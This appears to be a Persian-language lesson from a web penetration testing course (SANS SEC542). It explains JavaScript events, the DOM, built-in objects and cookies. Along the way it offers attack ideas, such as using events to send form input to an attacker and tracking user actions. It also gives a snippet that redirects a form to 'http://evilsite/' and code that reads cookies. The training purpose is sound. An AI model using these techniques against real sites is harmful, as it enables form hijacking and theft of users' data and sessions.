در این بخش از دوره آموزشی SEC542 از موسسه SANS به آشنایی با جاوا اسکریپت و رخدادهای آن می پردازیم.
رخدادها
در ادامه بخش قبل که به آشنایی با جاوا اسکریپت پرداخته شد، در این بخش به Event ها و سایر موارد کاربردی در جاوا اسکریپت می پردازیم .
رخدادها (Events) محرکهایی هستند که با قرار گرفتن یک آیتم در یک شرایط خاص، صدا زده میشوند. بطور مثال، رخداد onload، با load شدن یک عکس در مرورگر، فعال میشود. معمولا هر event یک تابع JavaScript را فراخوانی میکند. در ادامه جدولی از برخی رخدادهای رایج و زمان وقوع آنها آورده شده است. برنامه نویس یا تست کننده میتواند از این رخدادها در صفحه استفاده کرده و کد JavaScript خود را اجرا کند.
استفاده از رخدادها در حملات: ایدههایی برای Pen Tester ها
زمان آن رسیده که مثالهای مفیدی برای تست نفوذ را بررسی کنیم. ما پیشنهاد میکنیم که هر event را بررسی کرده و به دنبال راههای متفاوتی برای استفاده از آنها و پیادهسازی حمله باشید. مثلا ممکن است ما از رخداد onload در body صفحه استفاده کنیم تا محتوای مورد نظر خودمان را بر روی صفحه نمایش دهیم. در رخداد onunload این امکان وجود دارد تا یک پنجره دیگر پشت مرورگر قربانی (pop-under window) باز کرده و دوباره کنترل مرورگر را در اختیار بگیریم.
یا با استفاده از رخداد onsubmit در یک فرم میتوانیم مقادیر فرم یا مقصد ارسال اطلاعات فرم را عوض کنیم. رخداد onfocus نیز برای دنبال کردن کارهای کاربر در یک صفحه به کار میرود (کنترلهای انتخابی قربانی با یک درخواست HTTP به سرور مهاجم ارسال میشود).
استفاده از رخدادها در حملات: ایدههای بیشتر برای Pen Tester ها
در ادامه مثالهای دیگر برای رخدادهای جالب آورده شده است:
onerror : این رخداد برای عدم وجود منابع به کار میرود اما در حملات میتوان برای شناسایی سرویسها و اسکن پورتها در شبکه از آن استفاده نمود.
onclick : بدون اینکه کاربر بفهمد، مقصد یک لینک را عوض میکند.
onmouseover : حرکات موس در صفحه را دنبال میکند.
onblur : محتوای فیلدهای یک فرم را به مهاجم ارسال میکند.
همانطور که میبینید، استفاده از این رخدادها، کارکرد کاربر در یک صفحه را تغییر میدهد.
Document Object Model یا DOM
Document Object Model (DOM) یک اینترفیس استاندارد است که توسط JavaScript ارائه شده تا امکان دسترسی داینامیک به بخشهای مختلف صفحه جاری (HTML یا XML) و پنجره مرورگر را فراهم کند. به کمک DOM، اسکریپتها میتوانند محتوا، ساختار یا استایل صفحه را آپدیت کنند.
دوره SEC542 – آشنایی با جاوا اسکریپت
DOM شامل آبجکتهایی مانند Form و Windows object ها میباشد. این آبجکتها به ما اجازه دسترسی و کنترل بخشهای مختلف را میدهند. مثلا آبجکت Document به کل صفحه جاری اشاره میکند. به مثالهای زیر دقت کنید:
• document.forms[0] به اولین فرم موجود در صفحه اشاره میکند
• document.write(“Hello World! “) رشته مورد نظر را در صفحه مینویسد
• document.write(document.cookie) مقدار کوکیهای صفحه را در صفحه مینویسد
همچنین آبجکت Form برای دسترسی به یک فرم خاص استفاده میشود:
• form.action = [URL] مقصد نهایی ارسال فرم را برای هدایت مرورگر مشخص میکند
• form.submit() فرم را ثبت و ارسال میکند
DOM Nodes
در مدل DOM، document و پنجره آن به عنوان یک درخت در نظر گرفته میشود. همانطور که در تصویر زیر دیده میشود، درخت با تگ HTML شروع شده (root درخت تگ HTML است) و دو child به نامهای HEAD و BODY دارد. بعد از آن فرزندان هر node قرار میگیرد. به این ترتیب گرههای بالایی، parent بوده و گرههای پایینی child میباشند. همچنین هر تگ HTML میتواند یک یا چندین صفت مانند رنگ یا سایز برای خود داشته باشد.
JavaScript Object Methods and Properties
از آنجائیکه JavaScript یک زبان برنامه نویسی شئگراست، مجموعهای از آبجکتها را در اختیار برنامه نویسان قرار میدهد. همچنین امکان ساخت آبجکت جدید نیز برای برنامه نویسان وجود دارد. به وسیله آبجکتها میتوانیم از آیتمهای داخل حافظه یک کپی ایجاد کرده و از آنها بصورت جداگانه استفاده نمائیم.
در JavaScript، آبجکتها باید initialize شوند:
var myString = new String();
هر آبجکت دارای تعدادی property و method است. property ها همان attribute ها یا صفتهای شئ هستند و method ها عملیاتی هستند که بر روی آبجکت انجام میشوند.
برای اشاره به property یک آبجکت، از فرمت object.property استفاده میکنیم. مثلا:
document.referrer
فراخوانی یک method نیز به همین منوال است با این تفاوت که علامت () با مقادیر ورودی تابع، باید به فرمت قبل افزوده شود. مثلا:
window.alert(“This pop-up shows a method, alert()”);
Objects and Their Associated Properties and Methods
JavaScript هشت آبجکت مختلف built-in را در اختیار ما قرار میدهد. این آبجکتها عبارتند از: string، date، math، window، document، location، history و array. این آبجکتها هر یک method ها و property های متعددی داشته و بخش اعظم کدهای اپلیکیشن و کدهای مورد نیاز ما در تست نفوذ را تشکیل میدهند. مثالهای زیر، نمونههایی از آبجکتهای یاد شده میباشند:
Object type: String
o Property: length طول رشته را برمیگرداند
o Method: split() رشته را پردازش میکند
o Example: string.length = 42
Object type: Date
o Method: getTime() زمان جاری را برمیگرداند
o Method: getMonth() ماه جاری را برمیگرداند
Object type: Array
o Method: join() المانهای یک آرایه را بهم میچسباند
o Method: sort() آرایه را مرتب میکند
o Example: array.sort();
Object type: Window
o Method: open() یک پنجره جدید از مرورگر باز میکند
o Method: alert() یک دیالوگ باکس بر روی صفحه نشان میدهد
o Example: window.alert(“Hi World”);
Object type: Document
o Method: write() محتوای مورد نظر را در صفحه مینویسد
o Method: referrer() آدرس قبلی را بر میگرداند
o Example: document.write(“Hello”);
Object type: Location
o Method: reload() صفحه را دوباره لود میکند
o Property: port پورت صفحه جاری را بر میگرداند
o Example: location.port = 80;
Object type: History
o Method: back() مانند دکمه بازگشت در مرورگر عمل میکند
o Property: length تعداد آیتمها در تاریخچه پنجره جاری مرورگر را بر میگرداند
o Example: history.back();
انتخاب و تغییر محتوا
یکی از رایجترین کارهایی که ما در تست نفوذ انجام میدهیم، تغییر محتوای صفحه است. روشهای متعددی برای یافتن یک آیتم در صفحه وجود دارد. مثلا میتوانیم یک آیتم را از روی ID و یا نام آن پیدا کرده و به آن رجوع کنیم.
همچنین میتوانیم به کمک یک حلقه، همه آیتمها را بررسی کرده و آیتمهای دلخواه خود را تغییر دهیم. درواقع اسکریپتهای ما میتوانند در درخت DOM به راحتی حرکت کرده و المانهای تعیین شده را پیدا کنند. برای مثال تابع زیر، تعداد تگهای در یک صفحه را میشمارد:
function counttags(tag) {
count = document.getElementsByTagName(tag).length
return count
}
پس از یافتن آیتم مورد نظر، از طریق property های متعدد میتوانیم محتوای آن آیتم را به دلخواه خود تغییر دهیم. برای مثال، کد زیر URL یک عکس روی صفحه را بدست میآورد:
source = document.images[“Logo”].src;
کد زیر نیز مقدار action فرم را تغییر داده و فرم را ثبت میکند:
document.getElementById(‘myForm’).action = http://evilsite/
document.getElementById(‘myForm’).submit()
ارتباط با کوکیها
یکی دیگر از کارهای رایج در تست نفوذ، دستکاری و/یا خواندن کوکیها است. مهاجم با فراخوانی document.cookie میتواند کوکیها را بخواند. برای خواندن کوکیها، دو راه داریم. یکی دریافت همه کوکیها با هم و دیگری استفاده از کدی شبیه کد زیر برای پردازش کوکیها و جداسازی آنها.
var a_all_cookies = document.cookie.split( ‘; ‘ ) ;
var a_temp_cookie = ‘ ‘ ;
var cookie_name = ‘ ‘ ;
var cookie_value = ‘ ‘ ;
var b_cookie_found = false ;
for ( i = 0; i < a_all_cookies.length; i++ ) { a_temp_cookie = a_all_cookies[i].split( ‘= ‘ ); cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, ‘ ‘); if ( cookie_name == check_name) { b_cookie_found = true; if ( a_temp_cookie.length > 1 )
{
cookie_value = unescape(
a_temp_cookie[1].replace(/^\s+|\s+$/g, ‘ ‘));
}
return cookie_value;
break;
}
a_temp_cookie = null ;
cookie_name = ‘ ‘ ; }
برای set کردن کوکی به سه یا چهار پارامتر بیشتر احتیاج نداریم. این پارامترها، نام کوکی، مقدار آن، تاریخ انقضا و مسیر URI که میتواند به کوکی دست یابد، میباشند. (قرار دادن تاریخ برای کوکیها الزامی نیست)
document.cookie = “userid=ford; expires=Fri, 27-Feb-2015; path=/ “;
مطالب این بخش توسط سرکار خانم فهیمه رضایی تهیه شده است.